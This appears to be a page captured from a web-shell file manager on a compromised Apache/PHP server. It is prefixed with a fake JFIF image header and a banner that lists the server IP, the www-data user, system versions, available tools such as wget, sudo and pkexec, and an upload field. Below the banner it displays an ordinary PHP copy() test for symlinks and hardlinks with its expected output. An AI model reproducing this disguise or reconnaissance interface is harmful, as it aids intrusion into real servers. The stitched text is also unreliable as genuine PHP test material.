????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.55 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/file/ |
Upload File : |
--TEST--
Test copy() function: usage variations - copying links across dirs
--SKIPIF--
<?php
if(substr(PHP_OS, 0, 3) == "WIN")
die("skip Invalid for Windows");
?>
--FILE--
<?php
/* Prototype: bool copy ( string $source, string $dest );
Description: Makes a copy of the file source to dest.
Returns TRUE on success or FALSE on failure.
*/
/* Trying to copy the links across dir paths given in various notations
and dirs having limited access */
echo "*** Testing copy() function: copying links across different directories ***\n";
$file_path = dirname(__FILE__);
$base_dir = $file_path."/copy_variation8";
mkdir($base_dir);
$sub_dir = $base_dir."/copy_variation8_sub";
mkdir($sub_dir);
$dirname_with_blank = $sub_dir."/copy variation6";
mkdir($dirname_with_blank);
$file = $file_path."/copy_variation8.tmp";
fclose( fopen($file, "w") );
$symlink = $file_path."/copy_variation8_symlink.tmp";
$hardlink = $file_path."/copy_variation8_hardlink.tmp";
symlink($file, $symlink); //creating symlink
link($file, $hardlink); //creating hardlink
$dests = array(
$base_dir."/copy_copy_variation8.tmp",
$base_dir."/copy_variation8_sub/copy_copy_variation8.tmp",
"$sub_dir/copy_copy_variation8.tmp",
"$sub_dir/../copy_copy_variation8.tmp",
"$sub_dir/../copy_variation8_sub/copy_copy_variation8.tmp",
"$sub_dir/..///../copy_copy_variation8.tmp",
"$sub_dir/..///../*",
"$dirname_with_blank/copy_copy_variation8.tmp"
);
$count = 1;
foreach($dests as $dest) {
echo "\n-- Iteration $count --\n";
echo "- With symlink -\n";
var_dump( copy($symlink, $dest) );
var_dump( file_exists($dest) );
var_dump( is_link($dest) ); //expected: bool(false)
var_dump( is_file($dest) ); //expected: bool(true)
clearstatcache();
unlink("$dest");
echo "- With hardlink -\n";
var_dump( copy($hardlink, $dest) );
var_dump( file_exists($dest) );
var_dump( is_link($dest) ); //expected: bool(flase)
var_dump( is_file($dest) ); //expected: bool(true)
clearstatcache();
unlink("$dest");
$count++;
}
unlink($symlink);
unlink($hardlink);
unlink($file);
rmdir($dirname_with_blank);
rmdir($sub_dir);
rmdir($base_dir);
echo "*** Done ***\n";
?>
--EXPECTF--
*** Testing copy() function: copying links across different directories ***
-- Iteration 1 --
- With symlink -
bool(true)
bool(true)
bool(false)
bool(true)
- With hardlink -
bool(true)
bool(true)
bool(false)
bool(true)
-- Iteration 2 --
- With symlink -
bool(true)
bool(true)
bool(false)
bool(true)
- With hardlink -
bool(true)
bool(true)
bool(false)
bool(true)
-- Iteration 3 --
- With symlink -
bool(true)
bool(true)
bool(false)
bool(true)
- With hardlink -
bool(true)
bool(true)
bool(false)
bool(true)
-- Iteration 4 --
- With symlink -
bool(true)
bool(true)
bool(false)
bool(true)
- With hardlink -
bool(true)
bool(true)
bool(false)
bool(true)
-- Iteration 5 --
- With symlink -
bool(true)
bool(true)
bool(false)
bool(true)
- With hardlink -
bool(true)
bool(true)
bool(false)
bool(true)
-- Iteration 6 --
- With symlink -
bool(true)
bool(true)
bool(false)
bool(true)
- With hardlink -
bool(true)
bool(true)
bool(false)
bool(true)
-- Iteration 7 --
- With symlink -
bool(true)
bool(true)
bool(false)
bool(true)
- With hardlink -
bool(true)
bool(true)
bool(false)
bool(true)
-- Iteration 8 --
- With symlink -
bool(true)
bool(true)
bool(false)
bool(true)
- With hardlink -
bool(true)
bool(true)
bool(false)
bool(true)
*** Done ***